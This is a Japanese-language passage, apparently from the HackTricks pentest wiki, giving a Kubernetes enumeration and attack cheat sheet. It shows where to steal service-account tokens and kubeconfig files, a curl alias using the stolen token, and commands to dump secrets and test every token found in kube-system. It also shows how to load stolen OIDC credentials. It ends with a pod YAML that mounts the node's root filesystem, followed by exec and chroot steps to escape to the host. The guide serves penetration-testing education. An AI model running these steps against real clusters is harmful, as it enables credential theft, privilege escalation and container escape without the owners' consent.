19 KiB
Kubernetes Enumeration
{{#include ../../banners/hacktricks-training.md}}
Kubernetes Tokens
もしあなたがマシンへのアクセスを侵害した場合、ユーザーはKubernetesプラットフォームにアクセスできるかもしれません。トークンは通常、**env var KUBECONFIGで指し示されるファイルか、~/.kube**の中にあります。
このフォルダには、APIサーバーに接続するためのトークンと設定を含む設定ファイルが見つかるかもしれません。このフォルダには、以前に取得した情報を含むキャッシュフォルダも見つかります。
Kubernetes環境内のポッドを侵害した場合、現在のK8環境に関するトークンや情報を見つけることができる他の場所があります:
Service Account Tokens
続ける前に、Kubernetesにおけるサービスが何であるか知らない場合は、このリンクをフォローしてKubernetesアーキテクチャに関する情報を少なくとも読むことをお勧めします。
Kubernetesのドキュメントからの引用:
「ポッドを作成する際、サービスアカウントを指定しない場合、同じ名前空間内のデフォルトサービスアカウントが自動的に割り当てられます。」
ServiceAccountはKubernetesによって管理されるオブジェクトで、ポッド内で実行されるプロセスにアイデンティティを提供するために使用されます。
すべてのサービスアカウントにはそれに関連するシークレットがあり、このシークレットにはベアラートークンが含まれています。これはJSON Web Token(JWT)であり、2者間での主張を安全に表現する方法です。
通常、次のディレクトリの1つに:
/run/secrets/kubernetes.io/serviceaccount/var/run/secrets/kubernetes.io/serviceaccount/secrets/kubernetes.io/serviceaccount
ファイルが含まれています:
- ca.crt: Kubernetes通信を確認するためのCA証明書です
- namespace: 現在の名前空間を示します
- token: 現在のポッドのサービストークンが含まれています。
トークンを取得したので、環境変数**KUBECONFIG内でAPIサーバーを見つけることができます。詳細については、(env | set) | grep -i "kuber|kube""**を実行してください。
サービスアカウントトークンは、ファイルsa.keyに存在するキーによって署名され、sa.pubによって検証されます。
Kubernetesのデフォルトの場所:
- /etc/kubernetes/pki
Minikubeのデフォルトの場所:
- /var/lib/localkube/certs
Hot Pods
Hot podsは 特権サービスアカウントトークンを含むポッドです。特権サービスアカウントトークンは、シークレットのリスト作成、ポッドの作成などの特権タスクを実行する権限を持つトークンです。
RBAC
RBACが何であるか知らない場合は、このセクションを読んでください。
GUI Applications
- k9s: ターミナルからKubernetesクラスターを列挙するGUIです。コマンドはhttps://k9scli.io/topics/commands/で確認してください。
:namespaceと入力し、すべてを選択してから、すべての名前空間でリソースを検索します。 - k8slens: 無料トライアル日数を提供しています:https://k8slens.dev/
Enumeration CheatSheet
K8s環境を列挙するには、次のものが必要です:
- 有効な認証トークン。前のセクションでユーザートークンとサービスアカウントトークンの検索場所を見ました。
- Kubernetes APIのアドレス(https://host:port)。これは通常、環境変数やkube設定ファイルに見つかります。
- オプション: APIサーバーを検証するためのca.crt。これはトークンが見つかるのと同じ場所にあります。これはAPIサーバー証明書を検証するのに役立ちますが、
kubectlで--insecure-skip-tls-verifyを使用するか、curlで-kを使用すれば必要ありません。
これらの詳細を使用して、Kubernetesを列挙できます。何らかの理由でAPIがインターネットを通じてアクセス可能であれば、その情報をダウンロードしてホストからプラットフォームを列挙できます。
しかし、通常APIサーバーは内部ネットワーク内にあるため、侵害されたマシンを通じてトンネルを作成して自分のマシンからアクセスする必要があります。または、kubectlバイナリをアップロードするか、**curl/wget/anything**を使用してAPIサーバーに生のHTTPリクエストを送信できます。
Differences between list and get verbs
**get**権限を持つと、特定の資産の情報にアクセスできます(kubectlのdescribeオプション)。
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
list 権限がある場合、資産の種類をリストするための API リクエストを実行することが許可されます (kubectl の get オプション):
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
watch 権限がある場合、資産を監視するためのAPIリクエストを実行することが許可されています:
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
ストリーミング接続を開き、Deploymentが変更されるたび(または新しいものが作成されるとき)に完全なマニフェストを返します。
Caution
次の
kubectlコマンドは、オブジェクトをリストする方法を示しています。データにアクセスしたい場合は、getの代わりにdescribeを使用する必要があります。
curlを使用する
ポッド内から、いくつかの環境変数を使用できます:
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
Warning
デフォルトでは、ポッドは
kubernetes.default.svcドメイン名の kube-api サーバー に アクセス でき、/etc/resolv.configで kube ネットワークを見ることができます。ここでは、kubernetes DNS サーバーのアドレスが見つかります(同じ範囲の ".1" が kube-api エンドポイントです)。
Using kubectl
トークンと API サーバーのアドレスを持っている場合、ここに示されているように kubectl または curl を使用してアクセスします:
デフォルトでは、APISERVER は https:// スキーマで通信しています。
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
URLに
https://が含まれていない場合、Bad Requestのようなエラーが発生する可能性があります。
公式のkubectlチートシートはこちらで見つけることができます。以下のセクションの目的は、アクセスを取得した新しいK8sを列挙し理解するためのさまざまなオプションを順序立てて提示することです。
kubectlが送信するHTTPリクエストを見つけるには、パラメータ-v=8を使用できます。
MitM kubectl - kubectlのプロキシ化
# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true
現在の構成
{{#tabs }} {{#tab name="Kubectl" }}
kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context
# Change namespace
kubectl config set-context --current --namespace=<namespace>
{{#endtab }} {{#endtabs }}
もしユーザーの資格情報を盗むことができたら、次のような方法でローカルに設定できます:
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
サポートされているリソースの取得
この情報を使用すると、リストできるすべてのサービスがわかります
{{#tabs }} {{#tab name="kubectl" }}
k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace
{{#endtab }} {{#endtabs }}
現在の権限を取得
{{#tabs }} {{#tab name="kubectl" }}
k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace
# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
{{#endtab }}
{{#tab name="API" }}
kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
{{#endtab }} {{#endtabs }}
特権を確認する別の方法は、ツールを使用することです: https://github.com/corneliusweig/rakkess****
Kubernetes RBAC について詳しく学ぶことができます:
{{#ref}} kubernetes-role-based-access-control-rbac.md {{#endref}}
どの特権を持っているかがわかったら、 次のページを確認して それらを悪用して特権を昇格できるかどうかを調べてください:
{{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}}
他の役割を取得する
{{#tabs }} {{#tab name="kubectl" }}
k get roles
k get clusterroles
{{#endtab }}
{{#tab name="API" }}
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"
{{#endtab }} {{#endtabs }}
名前空間の取得
Kubernetesは、同じ物理クラスターに基づく複数の仮想クラスターをサポートしています。これらの仮想クラスターは名前空間と呼ばれます。
{{#tabs }} {{#tab name="kubectl" }}
k get namespaces
{{#endtab }}
{{#tab name="API" }}
kurl -k -v https://$APISERVER/api/v1/namespaces/
{{#endtab }} {{#endtabs }}
シークレットを取得する
{{#tabs }} {{#tab name="kubectl" }}
k get secrets -o yaml
k get secrets -o yaml -n custnamespace
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/
kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
{{#endtab }} {{#endtabs }}
秘密を読むことができれば、次の行を使用して各トークンに関連する権限を取得できます:
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
サービスアカウントの取得
このページの冒頭で説明したように、ポッドが実行されると通常サービスアカウントが割り当てられます。したがって、サービスアカウント、権限、および実行されている場所をリストアップすることで、ユーザーが権限を昇格させることができるかもしれません。
{{#tabs }} {{#tab name="kubectl" }}
k get serviceaccounts
{{#endtab }}
{{#tab name="API" }}
kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
{{#endtab }} {{#endtabs }}
デプロイメントの取得
デプロイメントは、実行する必要があるコンポーネントを指定します。
{{#tabs }} {{#tab name="kubectl" }}
k get deployments
k get deployments -n custnamespace
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
{{#endtab }} {{#endtabs }}
ポッドを取得する
ポッドは実際のコンテナであり、実行されます。
{{#tabs }} {{#tab name="kubectl" }}
k get pods
k get pods -n custnamespace
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
{{#endtab }} {{#endtabs }}
サービスの取得
Kubernetes サービスは、特定のポートとIPでサービスを公開するために使用されます(これは実際にサービスを提供しているポッドへのロードバランサーとして機能します)。これは、攻撃を試みるために他のサービスを見つける場所を知るのに興味深いです。
{{#tabs }} {{#tab name="kubectl" }}
k get services
k get services -n custnamespace
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/api/v1/namespaces/default/services/
{{#endtab }} {{#endtabs }}
ノードを取得
クラスター内に構成されたすべてのノードを取得します。
{{#tabs }} {{#tab name="kubectl" }}
k get nodes
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/api/v1/nodes/
{{#endtab }} {{#endtabs }}
DaemonSetsの取得
DaemonSetsは、特定のポッドがクラスタ内のすべてのノード(または選択されたノード)で実行されていることを保証します。DaemonSetを削除すると、それによって管理されているポッドも削除されます。
{{#tabs }} {{#tab name="kubectl" }}
k get daemonsets
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
{{#endtab }} {{#endtabs }}
Cronジョブを取得
Cronジョブは、crontabのような構文を使用して、特定のアクションを実行するポッドの起動をスケジュールすることを可能にします。
{{#tabs }} {{#tab name="kubectl" }}
k get cronjobs
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
{{#endtab }} {{#endtabs }}
configMapを取得する
configMapには常に多くの情報と、kubernetesで実行されるアプリに提供されるconfigfileが含まれています。通常、他の内部/外部サービスに接続および検証するために使用される多くのパスワード、秘密、トークンを見つけることができます。
{{#tabs }} {{#tab name="kubectl" }}
k get configmaps # -n namespace
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
{{#endtab }} {{#endtabs }}
ネットワークポリシー / Ciliumネットワークポリシー
{{#tabs }} {{#tab name="最初のタブ" }}
k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies
{{#endtab }} {{#endtabs }}
すべてを取得 / すべて
{{#tabs }} {{#tab name="kubectl" }}
k get all
{{#endtab }} {{#endtabs }}
Helmによって管理されているすべてのリソースを取得する
{{#tabs }} {{#tab name="kubectl" }}
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
{{#endtab }} {{#endtabs }}
ポッドの消費量を取得する
{{#tabs }} {{#tab name="kubectl" }}
k top pod --all-namespaces
{{#endtab }} {{#endtabs }}
ポッドからの脱出
新しいポッドを作成できる場合、そこからノードに脱出できるかもしれません。そのためには、yamlファイルを使用して新しいポッドを作成し、作成したポッドに切り替え、次にノードのシステムにchrootする必要があります。既存のポッドをyamlファイルの参考として使用できます。既存のイメージやパスが表示されるためです。
kubectl get pod <name> [-n <namespace>] -o yaml
特定のノードにポッドを作成する必要がある場合は、次のコマンドを使用してノードのラベルを取得できます。
k get nodes --show-labels一般的に、kubernetes.io/hostname と node-role.kubernetes.io/master は選択するのに適したラベルです。
その後、attack.yaml ファイルを作成します。
apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
# kubernetes.io/hostname: master
# or using
# node-role.kubernetes.io/master: ""
その後、ポッドを作成します。
kubectl apply -f attacker.yaml [-n <namespace>]
次のように作成したポッドに切り替えることができます。
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
そして最後に、ノードのシステムにchrootします。
chroot /root /bin/bash
情報は次から取得されました: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1
参考文献
{{#ref}} https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3 {{#endref}}
{{#include ../../banners/hacktricks-training.md}}